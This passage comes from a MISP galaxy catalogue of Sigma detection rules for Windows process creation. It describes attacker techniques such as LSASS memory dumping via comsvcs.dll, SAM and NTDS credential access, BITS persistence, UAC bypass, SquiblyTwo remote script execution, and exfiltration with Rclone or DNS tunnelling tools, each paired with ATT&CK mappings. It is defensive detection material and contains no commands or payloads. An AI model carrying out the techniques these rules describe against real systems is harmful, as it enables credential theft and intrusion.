- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 15723. Table References

Links
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_susp_execution.yml

PowerShell SAM Copy

Detects suspicious PowerShell scripts accessing SAM hives

The tag is: *misp-galaxy:sigma-rules="PowerShell SAM Copy"*

View relationships graph

PowerShell SAM Copy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 15724. Table References

Links
https://twitter.com/splinter_code/status/1420546784250769408
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_sam_access.yml

Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)

Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)

The tag is: *misp-galaxy:sigma-rules="Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)"*

View relationships graph

Invocation of Active Directory Diagnostic Tool (ntdsutil.exe) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15725. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml

Remote Access Tool - Renamed MeshAgent Execution - Windows

Detects the execution of a renamed instance of the Remote Monitoring and Management (RMM) tool, MeshAgent. RMM tools such as MeshAgent are commonly utilized by IT administrators for

legitimate remote support and system management. However, malicious actors may exploit these tools by renaming them to bypass detection mechanisms, enabling unauthorized access and control over compromised systems.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Renamed MeshAgent Execution - Windows"*

View relationships graph

Remote Access Tool - Renamed MeshAgent Execution - Windows has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15726. Table References

Links
https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access
https://www.security.com/threat-intelligence/medusa-ransomware-attacks
https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/
https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_renamed_meshagent_execution.yml

Process Memory Dump Via Comsvcs.DLL

Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)

The tag is: *misp-galaxy:sigma-rules="Process Memory Dump Via Comsvcs.DLL"*

View relationships graph

Process Memory Dump Via Comsvcs.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15727. Table References

Links
https://twitter.com/pythonresponder/status/1385064506049630211?s=21

https://twitter.com/shantanukhande/status/1229348874298388484
https://twitter.com/Wietze/status/1542107456507203586
https://www.youtube.com/watch?v=52tAmVLg1KM&t=2070s
https://twitter.com/SBousseaden/status/1167417096374050817
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
https://github.com/Hackndo/lsassy/blob/14d8f8ae596ecf22b449bfe919829173b8a07635/lsassy/dumpmethod/comsvcs.py
https://twitter.com/Hexacorn/status/1224848930795552769
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml

Monitoring For Persistence Via BITS

BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded.

The tag is: *misp-galaxy:sigma-rules="Monitoring For Persistence Via BITS"*

View relationships graph

Monitoring For Persistence Via BITS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 15728. Table References

Links
https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-Part+1/15394[https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism-+Part+1/15394]
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml

Potential UAC Bypass Via Sdclt.EXE

A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.

The tag is: *misp-galaxy:sigma-rules="Potential UAC Bypass Via Sdclt.EXE"*

View relationships graph

Potential UAC Bypass Via Sdclt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15729. Table References

Links
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md
https://github.com/OTRF/detection-hackathon-apt29/issues/6
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_sdclt.yml

Potential Defense Evasion Via Binary Rename

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Via Binary Rename"*

View relationships graph

Potential Defense Evasion Via Binary Rename has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15730. Table References

Links
https://www.splunk.com/en_us/blog/security/inno-setup-malware-redline-stealer-campaign.html
https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1036.003/T1036.003.md#atomic-test-1---masquerading-as-windows-lsass-process
https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html
https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml

Suspicious Scan Loop Network

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system

The tag is: *misp-galaxy:sigma-rules="Suspicious Scan Loop Network"*

View relationships graph

Suspicious Scan Loop Network has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 15731. Table References

Links
https://ss64.com/ps/foreach-object.html
https://ss64.com/nt/for.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_scan_loop.yml

Potentially Suspicious Regsvr32 HTTP/FTP Pattern

Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Regsvr32 HTTP/FTP Pattern"*

View relationships graph

Potentially Suspicious Regsvr32 HTTP/FTP Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15732. Table References

Links
https://twitter.com/mrd0x/status/1461041276514623491
https://twitter.com/tccontre18/status/1480950986650832903
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml

File Recovery From Backup Via Wbadmin.EXE

Detects the recovery of files from backups via "wbadmin.exe". Attackers can restore sensitive files such as NTDS.DIT or Registry Hives from backups in order to potentially extract credentials.

The tag is: *misp-galaxy:sigma-rules="File Recovery From Backup Via Wbadmin.EXE"*

View relationships graph

File Recovery From Backup Via Wbadmin.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15733. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml

New Root Certificate Installed Via CertMgr.EXE

Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: *misp-galaxy:sigma-rules="New Root Certificate Installed Via CertMgr.EXE"*

View relationships graph

New Root Certificate Installed Via CertMgr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 15734. Table References

Links
https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certmgr_certificate_installation.yml

Suspicious Execution From Outlook Temporary Folder

Detects a suspicious program execution in Outlook temp folder

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution From Outlook Temporary Folder"*

View relationships graph

Suspicious Execution From Outlook Temporary Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 15735. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_execution_from_temp.yml

File Download via CertOC.EXE

Detects when a user downloads a file by using CertOC.exe

The tag is: *misp-galaxy:sigma-rules="File Download via CertOC.EXE"*

View relationships graph

File Download via CertOC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15736. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certoc/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_download.yml

User Added to Remote Desktop Users Group

Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember".

The tag is: *misp-galaxy:sigma-rules="User Added to Remote Desktop Users Group"*

View relationships graph

User Added to Remote Desktop Users Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 15737. Table References

Links
https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop_group.yml

Use of TTDInject.exe

Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)

The tag is: *misp-galaxy:sigma-rules="Use of TTDInject.exe"*

View relationships graph

Use of TTDInject.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15738. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml

Obfuscated IP Via CLI

Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line

The tag is: *misp-galaxy:sigma-rules="Obfuscated IP Via CLI"*

Table 15739. Table References

Links
https://twitter.com/Yasser_Elsnbary/status/1553804135354564608
https://h.43z.one/ipconverter/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_via_cli.yml

Potential File Overwrite Via Sysinternals SDelete

Detects the use of SDelete to erase a file not the free space

The tag is: *misp-galaxy:sigma-rules="Potential File Overwrite Via Sysinternals SDelete"*

View relationships graph

Potential File Overwrite Via Sysinternals SDelete has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 15740. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sdelete.yml

PowerShell Script Run in AppData

Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder

The tag is: *misp-galaxy:sigma-rules="PowerShell Script Run in AppData"*

View relationships graph

PowerShell Script Run in AppData has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15741. Table References

Links
https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03
https://twitter.com/JohnLaTwC/status/1082851155481288706

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_ps_appdata.yml

Potential Privilege Escalation To LOCAL SYSTEM

Detects unknown program using commandline flags usually used by tools such as PsExec and PAExec to start programs with SYSTEM Privileges

The tag is: *misp-galaxy:sigma-rules="Potential Privilege Escalation To LOCAL SYSTEM"*

View relationships graph

Potential Privilege Escalation To LOCAL SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Table 15742. Table References

Links
https://www.poweradmin.com/paexec/
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_susp_psexec_paexec_flags.yml

Arbitrary File Download Via MSOHTMED.EXE

Detects usage of "MSOHTMED" to download arbitrary files

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via MSOHTMED.EXE"*

View relationships graph

Arbitrary File Download Via MSOHTMED.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15743. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msohtmed_download.yml

LOLBAS Data Exfiltration by DataSvcUtil.exe

Detects when a user performs data exfiltration by using DataSvcUtil.exe

The tag is: *misp-galaxy:sigma-rules="LOLBAS Data Exfiltration by DataSvcUtil.exe"*

View relationships graph

LOLBAS Data Exfiltration by DataSvcUtil.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"

Table 15744. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services
https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6
https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml

Sysprep on AppData Folder

Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)

The tag is: *misp-galaxy:sigma-rules="Sysprep on AppData Folder"*

View relationships graph

Sysprep on AppData Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15745. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets
https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysprep_appdata.yml

Suspicious Processes Spawned by Java.EXE

Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)

The tag is: *misp-galaxy:sigma-rules="Suspicious Processes Spawned by Java.EXE"*

Table 15746. Table References

Links
https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process.yml

DNS Exfiltration and Tunneling Tools Execution

Well-known DNS Exfiltration tools execution

The tag is: *misp-galaxy:sigma-rules="DNS Exfiltration and Tunneling Tools Execution"*

View relationships graph

DNS Exfiltration and Tunneling Tools Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

Table 15747. Table References

Links
https://github.com/yarrick/iodine
https://github.com/iagox86/dnscat2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml

Ie4uinit Lolbin Use From Invalid Path

Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories

The tag is: *misp-galaxy:sigma-rules="Ie4uinit Lolbin Use From Invalid Path"*

View relationships graph

Ie4uinit Lolbin Use From Invalid Path has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15748. Table References

Links
https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml

PUA - Rclone Execution

Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc

The tag is: *misp-galaxy:sigma-rules="PUA - Rclone Execution"*

View relationships graph

PUA - Rclone Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 15749. Table References

Links
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone
https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html
https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rclone_execution.yml

Potential Remote SquiblyTwo Technique Execution

Detects potential execution of the SquiblyTwo technique that leverages Windows Management Instrumentation (WMI) to execute malicious code remotely. This technique bypasses application whitelisting by using wmic.exe to process malicious XSL (eXtensible Stylesheet Language) scripts that can contain embedded JScript or VBScript. The attack typically works by fetching XSL content from a remote source (using HTTP/HTTPS) and executing it with full trust privileges directly in memory, avoiding disk-based detection mechanisms. This is a common LOLBin (Living Off The Land Binary) technique used for defense evasion and code execution.

The tag is: *misp-galaxy:sigma-rules="Potential Remote SquiblyTwo Technique Execution"*

View relationships graph

Potential Remote SquiblyTwo Technique Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15750. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wmic/
https://atomicredteam.io/defense-evasion/T1220/
https://x.com/byrne_emmy12099/status/1932346420226658668
https://twitter.com/mattifestation/status/986280382042595328
https://web.archive.org/web/20190209154607/https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml

ETW Trace Evasion Activity

Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.

The tag is: *misp-galaxy:sigma-rules="ETW Trace Evasion Activity"*

View relationships graph

ETW Trace Evasion Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 15751. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://abuse.io/lockergoga.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_trace_evasion.yml

DirLister Execution

Detect the usage of "DirLister.exe" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.

The tag is: *misp-galaxy:sigma-rules="DirLister Execution"*

View relationships graph

DirLister Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 15752. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md
https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister_execution.yml

Windows Credential Guard Registry Tampering Via CommandLine

Detects attempts to add, modify, or delete Windows Credential Guard related registry keys or values via command line tools such as Reg.exe or PowerShell. Credential Guard uses virtualization-based

security to isolate secrets so that only privileged system software can access them. Adversaries may disable Credential Guard to gain access to sensitive credentials stored in the system, such as NTLM hashes and Kerberos tickets, which can be used for lateral movement and privilege escalation. The rule matches suspicious command lines that target DeviceGuard or LSA registry paths and manipulate keys like EnableVirtualizationBasedSecurity, RequirePlatformSecurityFeatures, or LsaCfgFlags. Such activity may indicate an attempt to disable or tamper with Credential Guard, potentially exposing sensitive credentials for misuse.

The tag is: *misp-galaxy:sigma-rules="Windows Credential Guard Registry Tampering Via CommandLine"*

View relationships graph

Windows Credential Guard Registry Tampering Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15753. Table References

Links
https://woshub.com/disable-credential-guard-windows/
https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-deviceguard
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_guard_registry_tampering.yml

Local Groups Reconnaissance Via Wmic.EXE

Detects the execution of "wmic" with the "group" flag. Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

The tag is: *misp-galaxy:sigma-rules="Local Groups Reconnaissance Via Wmic.EXE"*

View relationships graph

Local Groups Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 15754. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_group.yml

Renamed Office Binary Execution

Detects the execution of a renamed office binary

The tag is: *misp-galaxy:sigma-rules="Renamed Office Binary Execution"*

View relationships graph

Renamed Office Binary Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15755. Table References

Links
https://infosec.exchange/@sbousseaden/109542254124022664
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_office_processes.yml

MMC Spawning Windows Shell

Detects a Windows command line executable started from MMC

The tag is: *misp-galaxy:sigma-rules="MMC Spawning Windows Shell"*

View relationships graph

MMC Spawning Windows Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 15756. Table References

Links
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_susp_child_process.yml

PUA - PingCastle Execution

Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level.

The tag is: *misp-galaxy:sigma-rules="PUA - PingCastle Execution"*

View relationships graph

PUA - PingCastle Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="almost-certain"

Table 15757. Table References

Links
https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699
https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/
https://github.com/fengjixuchui/Start-ADEnum/blob/e237a739db98b6104427d833004836507da36a58/Functions/Start-ADEnum.ps1#L450
https://github.com/vletoux/pingcastle
https://github.com/lkys37en/Start-ADEnum/blob/5b42c54215fe5f57fc59abc52c20487d15764005/Functions/Start-ADEnum.ps1#L680
https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1
https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_pingcastle.yml

Suspicious Outlook Child Process

Detects a suspicious process spawning from an Outlook process.

The tag is: *misp-galaxy:sigma-rules="Suspicious Outlook Child Process"*

View relationships graph

Suspicious Outlook Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 15758. Table References

Links
https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100

https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes.yml

Proxy Execution via Vshadow

Detects the invocation of vshadow.exe with the -exec parameter that executes a specified script or command after the shadow copies are created but before the VShadow tool exits. VShadow is a command-line tool that you can use to create and manage volume shadow copies. While legitimate backup or administrative scripts may use this flag, attackers can leverage this parameter to proxy the execution of malware.

The tag is: *misp-galaxy:sigma-rules="Proxy Execution via Vshadow"*

View relationships graph

Proxy Execution via Vshadow has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15759. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/vss/vshadow-tool-and-sample
